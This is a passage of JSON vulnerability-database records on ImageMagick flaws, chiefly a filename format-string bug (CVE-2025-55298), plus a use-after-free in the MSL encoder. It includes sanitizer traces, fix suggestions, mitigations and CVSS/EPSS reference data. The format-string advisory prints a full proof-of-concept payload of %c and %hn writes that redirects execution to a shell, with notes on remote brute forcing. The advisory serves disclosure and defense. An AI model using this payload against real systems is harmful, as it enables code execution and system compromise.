0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #10 0x73b2102b2d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)\n    #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)\n    #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n\n0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028)\nallocated by thread T0 here:\n    #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #1 0x73b21031915a  (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree\nShadow bytes around the buggy address:\n  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00\n  0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa\n  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00\n  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00\n  0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa\n  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==55653==ABORTING\n```\nProcessing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition.\n<br>\n\n### 2. Shell execution tested on a local environment\n\nhttps://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94\n\n```\n ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\\$hn%233c%2194\\$hhnaaaaaaaaa\n```\nThe exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges.\n<br>\n\n**Exploitation Process:**\n1. Format string payload corrupts stack pointers through positional parameters\n2. Multiple 2-byte writes (%hn) progressively overwrite the return address  \n3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85)\n4. One-gadget executes `/bin/sh` with inherited process permissions\n<br>\n\n**Remote Exploitation Feasibility:**\nWhile this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access.\n<br>\n\n**Important:** The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure.\n\n**Note:** This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system.\n<br>\n\n## Impact\nThis format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges.\n\nThe vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks.\n<br>\n\n## Suggested Fix\n\nTwo potential mitigation approaches:\n\n1. **Input Validation**: Add format string validation in `InterpretImageFilename` to reject filenames containing format specifiers (`%n`, `%s`, `%x`, etc.) before passing to `FormatLocaleString`\n2. **Safe Parsing**: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to `FormatLocaleString`\n<br>\n\n## Credits\n### Team Daemon Fuzz Hunters\n**Bug Hunting Master Program, HSpace/Findthegap**\n<br>\n\n**Woojin Park**\n@jin-156\n[1203kids@gmail.com](mailto:1203kids@gmail.com)\n\n**Hojun Lee**\n@leehohojune \n[leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr)\n\n**Youngin Won**\n@amethyst0225\n[youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr)\n\n**Siyeon Han**\n@hanbunny\n[kokosyeon@gmail.com](mailto:kokosyeon@gmail.com)\n\n# Additional notes from the ImageMagick team:\n\nOn many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation:\n\nTo prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive:\n\n- In wrappers: `filename:literal`\n- From the command line: `-define filename:literal=true`","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55298.json","reference_id":"","reference_type":"","scores":[{"value":"7.8","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55298.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-55298","reference_id":"","reference_type":"","scores":[{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.73323","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.73325","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.73311","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.73277","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.73285","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.73275","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.73233","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.73185","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.73221","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.73211","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.7324","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.73259","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.73234","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00754","scoring_system":"epss","scoring_elements":"0.7319","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-55298"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55298","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55298"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-08-26T20:36:37Z/"}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/439b362b93c074eea6c3f834d84982b43ef057d5","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-08-26T20:36:37Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/commit/439b362b93c074eea6c3f834d84982b43ef057d5"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9ccg-6pjw-x645","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-08-26T20:36:37Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9ccg-6pjw-x645"},{"reference_url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55298","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55298"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111586","reference_id":"1111586","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111586"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2391097","reference_id":"2391097","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2391097"},{"reference_url":"https://github.com/advisories/GHSA-9ccg-6pjw-x645","reference_id":"GHSA-9ccg-6pjw-x645","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-9ccg-6pjw-x645"},{"reference_url":"https://usn.ubuntu.com/7812-1/","reference_id":"USN-7812-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/7812-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/570806?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.8.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2gw3-qfan-jygd"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-569d-6nue-5kbq"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6meg-yjby-a7gj"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b43n-3d1g-u3fe"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-h221-qd8d-tqa5"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-mxg1-261s-nbds"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-spch-fffg-4yc5"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-vaks-d4k5-zue7"},{"vulnerability":"VCID-vkp6-wh22-eqap"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.8.1"}],"aliases":["CVE-2025-55298","GHSA-9ccg-6pjw-x645"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-r889-wzc7-1yem"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/23142?format=json","vulnerability_id":"VCID-rbdg-vz8x-ykah","summary":"ImageMagick has heap use-after-free in the MSL encoder\nA heap-use-after-free vulnerability exists in the MSL encoder, where a cloned image is destroyed twice. The MSL coder does not support writing MSL so the write capability has been removed. \n\n```\nSUMMARY: AddressSanitizer: heap-use-after-free MagickCore/image.c:1195 in DestroyImage\nShadow bytes around the buggy address:\n  0x0a4e80007450: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0a4e80007460: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0a4e80007470: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0a4e80007480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0a4e80007490: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0a4e800074a0: fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd\n  0x0a4e800074b0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa\n  0x0a4e800074c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0a4e800074d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0a4e800074e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0a4e800074f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28688.json","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28688.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28688","reference_id":"","reference_type":"","scores":[{"value":"0.00042","scoring_system":"epss","scoring_elements":"0.12738","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00042","scoring_system":"epss","scoring_elements":"0.12659","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00042","scoring_system":"epss","scoring_elements":"0.12854","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00042","scoring_system":"epss","scoring_elements":"0.12789","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00042","scoring_system":"epss","scoring_elements":"0.12806","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.14015","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13834","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13902","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13897","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13825","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13832","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13928","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13978","published_at":"2026-04-12T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28688"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28688","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28688"},